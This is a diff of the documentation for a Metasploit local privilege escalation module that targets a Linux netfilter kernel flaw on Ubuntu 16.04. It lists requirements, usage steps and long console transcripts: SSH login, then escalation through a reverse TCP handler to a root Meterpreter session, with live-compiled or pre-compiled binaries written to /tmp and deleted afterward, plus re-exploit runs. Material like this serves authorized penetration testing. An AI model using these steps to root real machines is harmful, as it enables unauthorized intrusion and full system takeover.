@@ -9,15 +9,14 @@ This module (and the original exploit) are written in two parts: desc, and pwn.
9
9
There are a few requirements for this module to work (ubuntu):
10
10
11
11
1 . ip_tables.ko has to be loaded (root running iptables -L will do such)
12
- 2 . libc6-dev-i386 needs to be installed to compile
13
- 3 . shem and sham can not be installed/running
12
+ 2 . shem and sham can not be installed/running
14
13
15
14
This module has been tested against:
16
15
17
16
1 . Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
18
17
2 . Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
19
18
20
- This does not work against the following vulnerable systems. Additional work may be required.
19
+ This does not work against the following vulnerable systems. Additional work may be required to the binary and C code to enable these targets .
21
20
22
21
1 . Fedora 24 < [ kernel-4.6.3-300] ( https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18 )
23
22
2 . Fedora 22 < [ kernel-4.4.14-200] ( https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19 )
@@ -28,7 +27,7 @@ This does not work against the following vulnerable systems. Additional work ma
28
27
29
28
1 . Start msfconsole
30
29
2 . Exploit a box via whatever method
31
- 4 . Do: ` use exploit/linux/local/ubuntu_netfilter `
30
+ 4 . Do: ` use exploit/linux/local/netfilter_priv_esc `
32
31
5 . Do: ` set session # `
33
32
6 . Do: ` set verbose true `
34
33
7 . Do: ` exploit `
@@ -51,7 +50,7 @@ This does not work against the following vulnerable systems. Additional work ma
51
50
52
51
### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
53
52
54
- Initial Access
53
+ #### Initial Access
55
54
56
55
msf > use auxiliary/scanner/ssh/ssh_login
57
56
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
@@ -69,68 +68,151 @@ Initial Access
69
68
[*] Scanned 1 of 1 hosts (100% complete)
70
69
[*] Auxiliary module execution completed
71
70
72
- Escalate
71
+ #### Escalate
73
72
74
- msf auxiliary(ssh_login) > use exploit/linux/local/ubuntu_netfilter
75
- msf exploit(ubuntu_netfilter) > set session 1
76
- session => 1
77
- msf exploit(ubuntu_netfilter) > set verbose true
78
- verbose => true
79
- msf exploit(ubuntu_netfilter) > exploit
80
-
81
- [*] Started reverse TCP handler on 172.20.14.188:4444
82
- [*] Checking if libc6-dev-i386 is installed
73
+ [*] Started reverse TCP handler on 192.168.2.117:4444
74
+ [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
83
75
[+] libc6-dev-i386 is installed
84
- [*] Checking if ip_tables.ko is loaded
76
+ [+] gcc-multilib is installed
77
+ [+] gcc is installed
78
+ [*] Live compiling exploit on system
79
+ [*] Checking if ip_tables is loaded in kernel
85
80
[+] ip_tables.ko is loaded
86
81
[*] Checking if shem or sham are installed
87
82
[+] shem and sham not present.
88
- [*] Writing desc executable to /tmp/452xNomE .c
83
+ [*] Writing desc executable to /tmp/fI1xW1Js .c
89
84
[*] Max line length is 65537
90
- [*] Writing 3484 bytes in 1 chunks of 12068 bytes (octal-encoded), using printf
91
- [*] Executing /tmp/452xNomE , may take around 35s to finish. Watching for /tmp/rrOA1xsB to be created.
85
+ [*] Writing 3291 bytes in 1 chunks of 11490 bytes (octal-encoded), using printf
86
+ [*] Executing /tmp/fI1xW1Js , may take around 35s to finish. Watching for /tmp/GWqpwKnG to be created.
92
87
[*] Waited 0s so far
93
88
[*] Waited 10s so far
94
89
[*] Waited 20s so far
95
90
[*] Waited 30s so far
96
91
[+] desc finished, env ready.
97
- [*] Writing payload to /tmp/HbFVMTZM
92
+ [*] Writing payload to /tmp/Thzyfenv
98
93
[*] Max line length is 65537
99
94
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
100
- [*] Writing pwn executable to /tmp/eRFqvuyG .c
95
+ [*] Writing pwn executable to /tmp/wmfFiQKu .c
101
96
[*] Max line length is 65537
102
- [*] Writing 1418 bytes in 1 chunks of 4975 bytes (octal-encoded), using printf
97
+ [*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf
103
98
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
104
- [*] Sending stage (1495599 bytes) to 172.20.14.188
105
- [*] Meterpreter session 2 opened (172.20.14.188:4444 -> 172.20.14.188:45114) at 2016-09-16 01:16:52 -0400
99
+ [*] Sending stage (1495599 bytes) to 192.168.2.137
100
+ [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60982) at 2016-09-24 17:22:47 -0400
101
+ [+] Deleted /tmp/fI1xW1Js.c
102
+ [+] Deleted /tmp/GWqpwKnG
103
+ [+] Deleted /tmp/fI1xW1Js
104
+ [+] Deleted /tmp/Thzyfenv
105
+ [+] Deleted /tmp/wmfFiQKu.c
106
+ [+] Deleted /tmp/wmfFiQKu
106
107
108
+ meterpreter > sysinfo
109
+ Computer : ubuntu
110
+ OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64)
111
+ Architecture : x86_64
112
+ Meterpreter : x86/linux
107
113
meterpreter > getuid
108
114
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
109
115
110
- ### Re-exploit
116
+ #### Escalate w/ pre-compiled binaries
117
+
118
+ msf exploit(netfilter_priv_esc) > exploit
119
+
120
+ [*] Started reverse TCP handler on 192.168.2.117:4444
121
+ [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
122
+ [-] libc6-dev-i386 is not installed. Compiling will fail.
123
+ [-] gcc-multilib is not installed. Compiling will fail.
124
+ [-] gcc is not installed. Compiling will fail.
125
+ [*] Dropping pre-compiled exploit on system
126
+ [*] Checking if ip_tables is loaded in kernel
127
+ [+] ip_tables.ko is loaded
128
+ [*] Checking if shem or sham are installed
129
+ [+] shem and sham not present.
130
+ [*] Max line length is 65537
131
+ [*] Writing 7820 bytes in 1 chunks of 21701 bytes (octal-encoded), using printf
132
+ [*] Executing /tmp/8lQZGJdL, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created.
133
+ [*] Waited 0s so far
134
+ [*] Waited 10s so far
135
+ [*] Waited 20s so far
136
+ [*] Waited 30s so far
137
+ [+] desc finished, env ready.
138
+ [*] Writing payload to /tmp/2016_4997_payload
139
+ [*] Max line length is 65537
140
+ [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
141
+ [*] Writing pwn executable to /tmp/nOO6sYqi
142
+ [*] Max line length is 65537
143
+ [*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf
144
+ [*] Transmitting intermediate stager for over-sized stage...(105 bytes)
145
+ [*] Sending stage (1495599 bytes) to 192.168.2.137
146
+ [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:46778) at 2016-09-24 21:24:22 -0400
147
+ [+] Deleted /tmp/okDjTFSS
148
+ [+] Deleted /tmp/2016_4997_payload
149
+ [+] Deleted /tmp/nOO6sYqi
150
+
151
+ meterpreter > sysinfo
152
+ Computer : ubuntu
153
+ OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64)
154
+ Architecture : x86_64
155
+ Meterpreter : x86/linux
156
+ meterpreter > getuid
157
+ Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
158
+
159
+ #### Re-exploit
111
160
112
161
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
113
162
114
- msf exploit(ubuntu_netfilter) > set reexploit true
163
+ msf exploit(netfilter_priv_esc) > set reexploit true
164
+ reexploit => true
165
+ msf exploit(netfilter_priv_esc) > exploit
166
+
167
+ [*] Started reverse TCP handler on 192.168.2.117:4444
168
+ [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
169
+ [+] libc6-dev-i386 is installed
170
+ [+] gcc-multilib is installed
171
+ [+] gcc is installed
172
+ [*] Live compiling exploit on system
173
+ [*] Checking if ip_tables is loaded in kernel
174
+ [+] ip_tables.ko is loaded
175
+ [*] Checking if shem or sham are installed
176
+ [+] shem and sham not present.
177
+ [*] Writing payload to /tmp/egMfQrrI
178
+ [*] Max line length is 65537
179
+ [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
180
+ [*] Writing pwn executable to /tmp/Yf8CAdMu.c
181
+ [*] Max line length is 65537
182
+ [*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf
183
+ [*] Transmitting intermediate stager for over-sized stage...(105 bytes)
184
+ [*] Sending stage (1495599 bytes) to 192.168.2.137
185
+ [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60984) at 2016-09-24 17:29:06 -0400
186
+ [+] Deleted /tmp/egMfQrrI
187
+ [+] Deleted /tmp/Yf8CAdMu.c
188
+ [+] Deleted /tmp/Yf8CAdMu
189
+
190
+ meterpreter >
191
+
192
+ #### Re-exploit w/ pre-compiled binaries
193
+
194
+ msf exploit(netfilter_priv_esc) > set reexploit true
115
195
reexploit => true
116
- msf exploit(ubuntu_netfilter) > set session 2
117
- session => 2
118
- msf exploit(ubuntu_netfilter) > exploit
196
+ msf exploit(netfilter_priv_esc) > exploit
119
197
120
- [*] Started reverse TCP handler on 172.20.14.188:4445
121
- [*] Checking if libc6-dev-i386 is installed
198
+ [*] Started reverse TCP handler on 192.168.2.117:4444
199
+ [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
122
200
[+] libc6-dev-i386 is installed
123
- [*] Checking if ip_tables.ko is loaded
201
+ [-] gcc-multilib is not installed. Compiling will fail.
202
+ [-] gcc is not installed. Compiling will fail.
203
+ [*] Dropping pre-compiled exploit on system
204
+ [*] Checking if ip_tables is loaded in kernel
124
205
[+] ip_tables.ko is loaded
125
206
[*] Checking if shem or sham are installed
126
207
[+] shem and sham not present.
127
- [*] Writing payload to /tmp/OblBUbtc
128
- [*] Writing pwn executable to /tmp/u4PnMEdw.c
208
+ [*] Writing payload to /tmp/2016_4997_payload
209
+ [*] Max line length is 65537
210
+ [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
211
+ [*] Writing pwn executable to /tmp/SZrv2NOR
212
+ [*] Max line length is 65537
213
+ [*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf
129
214
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
130
- [*] Sending stage (1495599 bytes) to 172.20.14.188
131
- [*] Meterpreter session 3 opened (172.20.14.188:4445 -> 172.20.14.188:40370) at 2016-09-17 13:35:57 -0400
132
- [+] Deleted /tmp/OblBUbtc
133
- [+] Deleted /tmp/u4PnMEdw.c
134
- [+] Deleted /tmp/u4PnMEdw
135
- [-] Exploit failed: Rex::TimeoutError Operation timed out.
136
- [*] Exploit completed, but no session was created.
215
+ [*] Sending stage (1495599 bytes) to 192.168.2.137
216
+ [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60996) at 2016-09-24 20:47:03 -0400
217
+
218
+ meterpreter >
0 commit comments